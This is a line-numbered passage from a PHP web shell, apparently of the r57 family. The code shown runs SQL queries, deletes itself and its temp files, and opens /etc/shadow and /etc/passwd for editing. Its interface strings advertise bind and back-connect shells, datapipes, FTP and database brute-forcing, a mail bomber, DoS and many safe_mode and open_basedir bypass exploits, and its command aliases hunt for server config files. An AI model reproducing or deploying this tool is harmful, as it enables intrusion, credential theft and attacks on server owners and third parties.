  836. $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
  837. echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  838. for($i=0;$i<$sql->num_rows;$i++)
  839. {
  840. foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
  841. $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
  842. echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  843. }
  844. echo "</table>";
  845. }
  846. break;
  847. case '2':
  848. $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
  849. echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
  850. break;
  851. }
  852. }
  853. }
  854. }
  855. }
  856. echo "<br><form name=form method=POST>";
  857. echo in('hidden','db',0,$_POST['db']);
  858. echo in('hidden','db_server',0,$_POST['db_server']);
  859. echo in('hidden','db_port',0,$_POST['db_port']);
  860. echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  861. echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  862. echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  863. echo in('hidden','cmd',0,'db_query');
  864. echo "<div align=center>";
  865. echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
  866. echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  867. echo "</form>";
  868. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
  869. }
  870. if(isset($_GET['12']))
  871. {
  872. @unlink(__FILE__);
  873. }
  874. if(isset($_GET['11']))
  875. {
  876. @unlink($tempdir.'bdpl');
  877. @unlink($tempdir.'back');
  878. @unlink($tempdir.'bd');
  879. @unlink($tempdir.'bd.c');
  880. @unlink($tempdir.'dp');
  881. @unlink($tempdir.'dpc');
  882. @unlink($tempdir.'dpc.c');
  883. @unlink($tempdir.'prxpl');
  884. @unlink($tempdir.'grep.txt');
  885. }
  886. if(isset($_GET['2']))
  887. {
  888. echo $head;
  889. function U_value($value)
  890. {
  891. if ($value == '') return '<i>no value</i>';
  892. if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  893. if ($value === null) return 'NULL';
  894. if (@is_object($value)) $value = (array) $value;
  895. if (@is_array($value))
  896. {
  897. @ob_start();
  898. print_r($value);
  899. $value = @ob_get_contents();
  900. @ob_end_clean();
  901. }
  902. return U_wordwrap((string) $value);
  903. }
  904. function U_wordwrap($str)
  905. {
  906. $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  907. return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  908. }
  909. if (@function_exists('ini_get_all'))
  910. {
  911. $r = '';
  912. echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  913. foreach (@ini_get_all() as $key=>$value)
  914. {
  915. $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  916. }
  917. echo $r;
  918. echo '</table>';
  919. }
  920. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
  921. die();
  922. }
  923. if(isset($_GET['3']))
  924. {
  925. echo $head;
  926. echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  927. $cpuf = @file("cpuinfo");
  928. if($cpuf)
  929. {
  930. $c = @sizeof($cpuf);
  931. for($i=0;$i<$c;$i++)
  932. {
  933. $info = @explode(":",$cpuf[$i]);
  934. if($info[1]==""){ $info[1]="---"; }
  935. $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  936. }
  937. echo $r;
  938. }
  939. else
  940. {
  941. echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  942. }
  943. echo '</table>';
  944. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
  945. die();
  946. }
  947. if(isset($_GET['4']))
  948. {
  949. echo $head;
  950. echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  951. $memf = @file("meminfo");
  952. if($memf)
  953. {
  954. $c = sizeof($memf);
  955. for($i=0;$i<$c;$i++)
  956. {
  957. $info = explode(":",$memf[$i]);
  958. if($info[1]==""){ $info[1]="---"; }
  959. $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  960. }
  961. echo $r;
  962. }
  963. else
  964. {
  965. echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  966. }
  967. echo '</table>';
  968. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
  969. die();
  970. }
  971.  
  972. if(isset($_GET['5']))
  973. {$_POST['cmd'] = 'systeminfo';}
  974. if(isset($_GET['6']))
  975. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
  976. if(isset($_GET['7']))
  977. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
  978. if(isset($_GET['8']))
  979. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
  980. if(isset($_GET['9']))
  981. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
  982. if(isset($_GET['10']))
  983. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
  984. if(isset($_GET['13']))
  985. {$_POST['cmd']='cat /proc/cpuinfo';}
  986. if(isset($_GET['14']))
  987. {$_POST['cmd']='cat /proc/version';}
  988. if(isset($_GET['15']))
  989. {$_POST['cmd'] = 'free';}
  990. if(isset($_GET['16']))
  991. {$_POST['cmd'] = 'dmesg(8)';}
  992. if(isset($_GET['17']))
  993. {$_POST['cmd'] = 'vmstat';}
  994. if(isset($_GET['18']))
  995. {$_POST['cmd'] = 'lspci';}
  996. if(isset($_GET['19']))
  997. {$_POST['cmd'] = 'lsdev';}
  998. if(isset($_GET['20']))
  999. {$_POST['cmd']='cat /proc/interrupts';}
  1000. if(isset($_GET['21']))
  1001. {$_POST['cmd'] = 'cat /etc/*realise';}
  1002. if(isset($_GET['22']))
  1003. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
  1004. if(isset($_GET['23']))
  1005. {$_POST['cmd'] = 'lsattr -va';}
  1006. if(isset($_GET['24']))
  1007. {$_POST['cmd'] = 'w';}
  1008. if(isset($_GET['25']))
  1009. {$_POST['cmd'] = 'who';}
  1010. if(isset($_GET['26']))
  1011. {$_POST['cmd'] = 'uptime';}
  1012. if(isset($_GET['27']))
  1013. {$_POST['cmd'] = 'last -n 10';}
  1014. if(isset($_GET['28']))
  1015. {$_POST['cmd'] = 'ps -aux';}
  1016. if(isset($_GET['29']))
  1017. {$_POST['cmd'] = 'service --status-all';}
  1018. if(isset($_GET['30']))
  1019. {$_POST['cmd'] = 'ifconfig';}
  1020. if(isset($_GET['31']))
  1021. {$_POST['cmd'] = 'netstat -a';}
  1022. if(isset($_GET['32']))
  1023. {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
  1024. if(isset($_GET['33']))
  1025. {$_POST['cmd'] = 'fdisk -l';}
  1026. if(isset($_GET['34']))
  1027. {$_POST['cmd'] = 'df -h';}
  1028.  
  1029. #if(isset($_GET['']))
  1030. # {$_POST['cmd'] = '';}
  1031.  
  1032. $lang=array(
  1033. 'ru_butt1' =>'?????????',
  1034. 'ru_butt2' =>'?????????',
  1035. 'ru_butt3' =>'???????',
  1036. 'ru_butt4' =>'?????????',
  1037. 'ru_butt5' =>'?????????',
  1038. 'ru_butt6' =>'???????',
  1039. 'ru_butt7' =>'???????',
  1040. 'ru_butt8' =>'?????????',
  1041. 'ru_butt9' =>'????',
  1042. 'ru_butt10'=>'?????????',
  1043. 'ru_butt11'=>'?????????????',
  1044. 'ru_butt12'=>'?????',
  1045. 'ru_butt13'=>'???????/???????',
  1046. 'ru_butt14'=>'???????',
  1047. 'ru_butt15'=>'?????????',
  1048. 'ru_text1' =>'??????????? ???????',
  1049. 'ru_text2' =>'?????????? ?????? ?? ???????',
  1050. 'ru_text3' =>'????????? ???????',
  1051. 'ru_text4' =>'??????? ??????????',
  1052. 'ru_text5' =>'???????? ?????? ?? ??????',
  1053. 'ru_text6' =>'????????? ????',
  1054. 'ru_text7' =>'??????',
  1055. 'ru_text8' =>'???????? ?????',
  1056. 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
  1057. 'ru_text10'=>'??????? ????',
  1058. 'ru_text11'=>'?????? ??? ???????',
  1059. 'ru_text12'=>'back-connect',
  1060. 'ru_text13'=>'IP-?????',
  1061. 'ru_text14'=>'????',
  1062. 'ru_text15'=>'???????? ?????? ? ?????????? ???????',
  1063. 'ru_text16'=>'????????????',
  1064. 'ru_text17'=>'????????? ????',
  1065. 'ru_text18'=>'????????? ????',
  1066. 'ru_text19'=>'Exploits',
  1067. 'ru_text20'=>'????????????',
  1068. 'ru_text21'=>'????? ???',
  1069. 'ru_text22'=>'datapipe',
  1070. 'ru_text23'=>'????????? ????',
  1071. 'ru_text24'=>'????????? ????',
  1072. 'ru_text25'=>'????????? ????',
  1073. 'ru_text26'=>'????????????',
  1074. 'ru_text28'=>'?????? ? safe_mode',
  1075. 'ru_text29'=>'?????? ????????',
  1076. 'ru_text30'=>'???????? ?????',
  1077. 'ru_text31'=>'???? ?? ??????',
  1078. 'ru_text32'=>'?????????? PHP ????',
  1079. 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL (PHP <= 4.4.2, 5.1.4)',
  1080. 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
  1081. 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
  1082. 'ru_text36'=>'???? . ???????',
  1083. 'ru_text37'=>'?????',
  1084. 'ru_text38'=>'??????',
  1085. 'ru_text39'=>'????',
  1086. 'ru_text40'=>'???? ??????? ???? ??????',
  1087. 'ru_text41'=>'????????? ? ?????',
  1088. 'ru_text42'=>'?????????????? ?????',
  1089. 'ru_text43'=>'????????????? ????',
  1090. 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
  1091. 'ru_text45'=>'???? ????????',
  1092. 'ru_text46'=>'???????? phpinfo()',
  1093. 'ru_text47'=>'???????? ???????? php.ini',
  1094. 'ru_text48'=>'???????? ????????? ??????',
  1095. 'ru_text49'=>'???????? ??????? ? ???????',
  1096. 'ru_text50'=>'?????????? ? ??????????',
  1097. 'ru_text51'=>'?????????? ? ??????',
  1098. 'ru_text52'=>'????? ??? ??????',
  1099. 'ru_text53'=>'?????? ? ?????',
  1100. 'ru_text54'=>'????? ?????? ? ??????',
  1101. 'ru_text55'=>'?????? ? ??????',
  1102. 'ru_text56'=>'?????? ?? ???????',
  1103. 'ru_text57'=>'???????/??????? ????/??????????',
  1104. 'ru_text58'=>'???',
  1105. 'ru_text59'=>'????',
  1106. 'ru_text60'=>'??????????',
  1107. 'ru_text61'=>'???? ??????',
  1108. 'ru_text62'=>'?????????? ???????',
  1109. 'ru_text63'=>'???? ??????',
  1110. 'ru_text64'=>'?????????? ???????',
  1111. 'ru_text65'=>'???????',
  1112. 'ru_text66'=>'???????',
  1113. 'ru_text67'=>'Chown/Chgrp/Chmod',
  1114. 'ru_text68'=>'???????',
  1115. 'ru_text69'=>'????????1',
  1116. 'ru_text70'=>'????????2',
  1117. 'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
  1118. 'ru_text72'=>'????? ??? ??????',
  1119. 'ru_text73'=>'?????? ? ?????',
  1120. 'ru_text74'=>'?????? ? ??????',
  1121. 'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
  1122. 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
  1123. 'ru_text80'=>'???',
  1124. 'ru_text81'=>'????',
  1125. 'ru_text82'=>'???? ??????',
  1126. 'ru_text83'=>'?????????? SQL ???????',
  1127. 'ru_text84'=>'SQL ??????',
  1128. 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
  1129. 'ru_text86'=>'?????????? ????? ? ???????',
  1130. 'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
  1131. 'ru_text88'=>'??????:????',
  1132. 'ru_text89'=>'???? ?? ftp ???????',
  1133. 'ru_text90'=>'????? ????????',
  1134. 'ru_text91'=>'???????????? ?',
  1135. 'ru_text92'=>'??? ?????.',
  1136. 'ru_text93'=>'FTP',
  1137. 'ru_text94'=>'FTP-????????',
  1138. 'ru_text95'=>'?????? ?????????????',
  1139. 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
  1140. 'ru_text97'=>'????????? ??????????: ',
  1141. 'ru_text98'=>'??????? ???????????: ',
  1142. 'ru_text99'=>'/etc/passwd',
  1143. 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
  1144. 'ru_text101'=>'???????????? (user -> resu)',
  1145. 'ru_text102'=>'?????',
  1146. 'ru_text103'=>'???????? ??????',
  1147. 'ru_text104'=>'???????? ????? ?? ???????? ????',
  1148. 'ru_text105'=>'????',
  1149. 'ru_text106'=>'??',
  1150. 'ru_text107'=>'????',
  1151. 'ru_text108'=>'????? ??????',
  1152. 'ru_text109'=>'????????',
  1153. 'ru_text110'=>'??????????',
  1154. 'ru_text111'=>'SQL-?????? : ????',
  1155. 'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
  1156. 'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list() (PHP <= 5.1.2)',
  1157. 'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body() (PHP <= 5.1.2)',
  1158. 'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
  1159. 'ru_text116'=>'?????????? ????',
  1160. 'ru_text117'=>'?',
  1161. 'ru_text118'=>'???? ??????????',
  1162. 'ru_text119'=>'?? ??????? ??????????? ????',
  1163. 'ru_text120'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? ini_restore() (PHP <= 4.4.4, 5.1.6) by NST',
  1164. 'ru_text121'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? fopen() (PHP v4.4.0 memory leak) by NST',
  1165. 'ru_text122'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? glob() (PHP <= 5.2.x)',
  1166. 'ru_text123'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.bzip ?????? [compress.bzip2://] (PHP <= 5.2.1)',
  1167. 'ru_text124'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? error_log(php://) (PHP <= 5.1.4, 4.4.2)',
  1168. 'ru_text125'=>'??????',
  1169. 'ru_text126'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????[NULL-byte] (PHP <= 5.2.0)',
  1170. 'ru_text127'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? readfile(php://) (PHP <= 5.2.1, 4.4.4)',
  1171. 'ru_text128'=>'???? ?????????/??????? ????? (touch)',
  1172. 'ru_text129'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ? fopen(srpath://) (PHP v5.2.0)',
  1173. 'ru_text130'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.zip ?????? [zip://] (PHP <= 5.2.1)',
  1174. 'ru_text131'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ??????????? ????? ? ?????????????? symlink() (PHP <= 5.2.1)',
  1175. 'ru_text132'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? symlink() (PHP <= 5.2.1)',
  1176. 'ru_text133'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????(TMPDIR) (PHP <= 5.2.4)',
  1177. 'ru_text134'=>'???????? ??? ??????',
  1178. 'ru_text135'=>'???????',
  1179. 'ru_text136'=>'???????? ?????????? ??????',
  1180. 'ru_text137'=>'????????',
  1181. 'ru_text138'=>'???????',
  1182. 'ru_text139'=>'????-??????',
  1183. 'ru_text140'=>'DoS',
  1184. 'ru_text141'=>'?????????! ???????? ???? ???-???????.',
  1185. 'ru_text142'=>'????????? ???????',
  1186. 'ru_text143'=>'Temp: ',
  1187. 'ru_text144'=>'Test bypass safe_mode with load file in mysqli',
  1188. 'ru_text145'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? realpath() (PHP <= 5.2.4)',
  1189. 'ru_text146'=>'MAX ???-?? ????????',
  1190. 'ru_text147'=>'',
  1191. 'ru_text148'=>'',
  1192. 'ru_text149'=>'',
  1193. 'ru_text150'=>'',
  1194. 'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
  1195. 'ru_err1'=>'??????! ?? ???? ????????? ???? ',
  1196. 'ru_err2'=>'??????! ?? ??????? ??????? ',
  1197. 'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
  1198. 'ru_err4'=>'?????? ??????????? ?? ftp ???????',
  1199. 'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
  1200. 'ru_err6'=>'??????! ?? ??????? ????????? ??????',
  1201. 'ru_err7'=>'?????? ??????????',
  1202. /* --------------------------------------------------------------- */
  1203. 'eng_butt1' =>'Execute',
  1204. 'eng_butt2' =>'Upload',
  1205. 'eng_butt3' =>'Bind',
  1206. 'eng_butt4' =>'Connect',
  1207. 'eng_butt5' =>'Run',
  1208. 'eng_butt6' =>'Change',
  1209. 'eng_butt7' =>'Show',
  1210. 'eng_butt8' =>'Test',
  1211. 'eng_butt9' =>'Dump',
  1212. 'eng_butt10'=>'Save',
  1213. 'eng_butt11'=>'Edit file',
  1214. 'eng_butt12'=>'Find',
  1215. 'eng_butt13'=>'Create/Delete',
  1216. 'eng_butt14'=>'Download',
  1217. 'eng_butt15'=>'Send',
  1218. 'eng_text1' =>'Executed command',
  1219. 'eng_text2' =>'Execute command on server',
  1220. 'eng_text3' =>'Run command',
  1221. 'eng_text4' =>'Work directory',
  1222. 'eng_text5' =>'Upload files on server',
  1223. 'eng_text6' =>'Local file',
  1224. 'eng_text7' =>'Aliases',
  1225. 'eng_text8' =>'Select alias',
  1226. 'eng_text9' =>'Bind port to /bin/bash',
  1227. 'eng_text10'=>'Port',
  1228. 'eng_text11'=>'Password for access',
  1229. 'eng_text12'=>'back-connect',
  1230. 'eng_text13'=>'IP',
  1231. 'eng_text14'=>'Port',
  1232. 'eng_text15'=>'Upload files from remote server',
  1233. 'eng_text16'=>'With',
  1234. 'eng_text17'=>'Remote file',
  1235. 'eng_text18'=>'Local file',
  1236. 'eng_text19'=>'Exploits',
  1237. 'eng_text20'=>'Use',
  1238. 'eng_text21'=>'&nbsp;New name',
  1239. 'eng_text22'=>'datapipe',
  1240. 'eng_text23'=>'Local port',
  1241. 'eng_text24'=>'Remote host',
  1242. 'eng_text25'=>'Remote port',
  1243. 'eng_text26'=>'Use',
  1244. 'eng_text28'=>'Work in safe_mode',
  1245. 'eng_text29'=>'ACCESS DENIED',
  1246. 'eng_text30'=>'Cat file',
  1247. 'eng_text31'=>'File not found',
  1248. 'eng_text32'=>'Eval PHP code',
  1249. 'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
  1250. 'eng_text34'=>'Test bypass safe_mode with include function',
  1251. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  1252. 'eng_text36'=>'Database . Table',
  1253. 'eng_text37'=>'Login',
  1254. 'eng_text38'=>'Password',
  1255. 'eng_text39'=>'Database',
  1256. 'eng_text40'=>'Dump database table',
  1257. 'eng_text41'=>'Save dump in file',
  1258. 'eng_text42'=>'Edit files',
  1259. 'eng_text43'=>'File for edit',
  1260. 'eng_text44'=>'Can\'t edit file! Only read access!',
  1261. 'eng_text45'=>'File saved',
  1262. 'eng_text46'=>'Show phpinfo()',
  1263. 'eng_text47'=>'Show variables from php.ini',
  1264. 'eng_text48'=>'Delete temp files',
  1265. 'eng_text49'=>'Delete script from server',
  1266. 'eng_text50'=>'View cpu info',
  1267. 'eng_text51'=>'View memory info',
  1268. 'eng_text52'=>'Find text',
  1269. 'eng_text53'=>'In dirs',
  1270. 'eng_text54'=>'Find text in files',
  1271. 'eng_text55'=>'Only in files',
  1272. 'eng_text56'=>'Nothing :(',
  1273. 'eng_text57'=>'Create/Delete File/Dir',
  1274. 'eng_text58'=>'name',
  1275. 'eng_text59'=>'file',
  1276. 'eng_text60'=>'dir',
  1277. 'eng_text61'=>'File created',
  1278. 'eng_text62'=>'Dir created',
  1279. 'eng_text63'=>'File deleted',
  1280. 'eng_text64'=>'Dir deleted',
  1281. 'eng_text65'=>'Create',
  1282. 'eng_text66'=>'Delete',
  1283. 'eng_text67'=>'Chown/Chgrp/Chmod',
  1284. 'eng_text68'=>'Command',
  1285. 'eng_text69'=>'param1',
  1286. 'eng_text70'=>'param2',
  1287. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  1288. 'eng_text72'=>'Text for find',
  1289. 'eng_text73'=>'Find in folder',
  1290. 'eng_text74'=>'Find in files',
  1291. 'eng_text75'=>'* you can use regexp',
  1292. 'eng_text76'=>'Search text in files via find',
  1293. 'eng_text80'=>'Type',
  1294. 'eng_text81'=>'Net',
  1295. 'eng_text82'=>'Databases',
  1296. 'eng_text83'=>'Run SQL query',
  1297. 'eng_text84'=>'SQL query',
  1298. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  1299. 'eng_text86'=>'Download files from server',
  1300. 'eng_text87'=>'Download files from remote ftp-server',
  1301. 'eng_text88'=>'server:port',
  1302. 'eng_text89'=>'File on ftp',
  1303. 'eng_text90'=>'Transfer mode',
  1304. 'eng_text91'=>'Archivation',
  1305. 'eng_text92'=>'without arch.',
  1306. 'eng_text93'=>'FTP',
  1307. 'eng_text94'=>'FTP-bruteforce',
  1308. 'eng_text95'=>'Users list',
  1309. 'eng_text96'=>'Can\'t get users list',
  1310. 'eng_text97'=>'checked: ',
  1311. 'eng_text98'=>'success: ',
  1312. 'eng_text99'=>'/etc/passwd',
  1313. 'eng_text100'=>'Send file to remote ftp server',
  1314. 'eng_text101'=>'Use reverse (user -> resu)',
  1315. 'eng_text102'=>'Mail',
  1316. 'eng_text103'=>'Send email',
  1317. 'eng_text104'=>'Send file to email',
  1318. 'eng_text105'=>'To',
  1319. 'eng_text106'=>'From',
  1320. 'eng_text107'=>'Subj',
  1321. 'eng_text108'=>'Mail',
  1322. 'eng_text109'=>'Hide',
  1323. 'eng_text110'=>'Show',
  1324. 'eng_text111'=>'SQL-Server : Port',
  1325. 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
  1326. 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
  1327. 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
  1328. 'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
  1329. 'eng_text116'=>'Copy from',
  1330. 'eng_text117'=>'to',
  1331. 'eng_text118'=>'File copied',
  1332. 'eng_text119'=>'Cant copy file',
  1333. 'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
  1334. 'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
  1335. 'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
  1336. 'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
  1337. 'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
  1338. 'eng_text125'=>'Data',
  1339. 'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
  1340. 'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
  1341. 'eng_text128'=>'Modify/Access file (touch)',
  1342. 'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
  1343. 'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
  1344. 'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
  1345. 'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
  1346. 'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
  1347. 'eng_text134'=>'Database-bruteforce',
  1348. 'eng_text135'=>'Dictionary',
  1349. 'eng_text136'=>'Creating evil symlink',
  1350. 'eng_text137'=>'Useful',
  1351. 'eng_text138'=>'Dangerous',
  1352. 'eng_text139'=>'Mail Bomber',
  1353. 'eng_text140'=>'DoS',
  1354. 'eng_text141'=>'Danger! Web-daemon crash possible.',
  1355. 'eng_text142'=>'Downloaders',
  1356. 'eng_text143'=>'Temp: ',
  1357. 'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
  1358. 'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
  1359. 'eng_text146'=>'Max Interation',
  1360. 'eng_text147'=>'',
  1361. 'eng_text148'=>'',
  1362. 'eng_text149'=>'',
  1363. 'eng_text150'=>'',
  1364. 'eng_err0'=>'Error! Can\'t write in file ',
  1365. 'eng_err1'=>'Error! Can\'t read file ',
  1366. 'eng_err2'=>'Error! Can\'t create ',
  1367. 'eng_err3'=>'Error! Can\'t connect to ftp',
  1368. 'eng_err4'=>'Error! Can\'t login on ftp server',
  1369. 'eng_err5'=>'Error! Can\'t change dir on ftp',
  1370. 'eng_err6'=>'Error! Can\'t sent mail',
  1371. 'eng_err7'=>'Mail send',
  1372. );
  1373. /*
  1374. ?????? ??????
  1375. ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
  1376. ?? ?????? ???? ????????? ??? ???????? ???????.
  1377. */
  1378. $aliases=array(
  1379. '----------------------------------locate'=>'',
  1380. 'locate httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1381. 'locate vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1382. 'locate proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1383. 'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1384. 'locate my.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate my.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1385. 'locate admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1386. 'locate cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
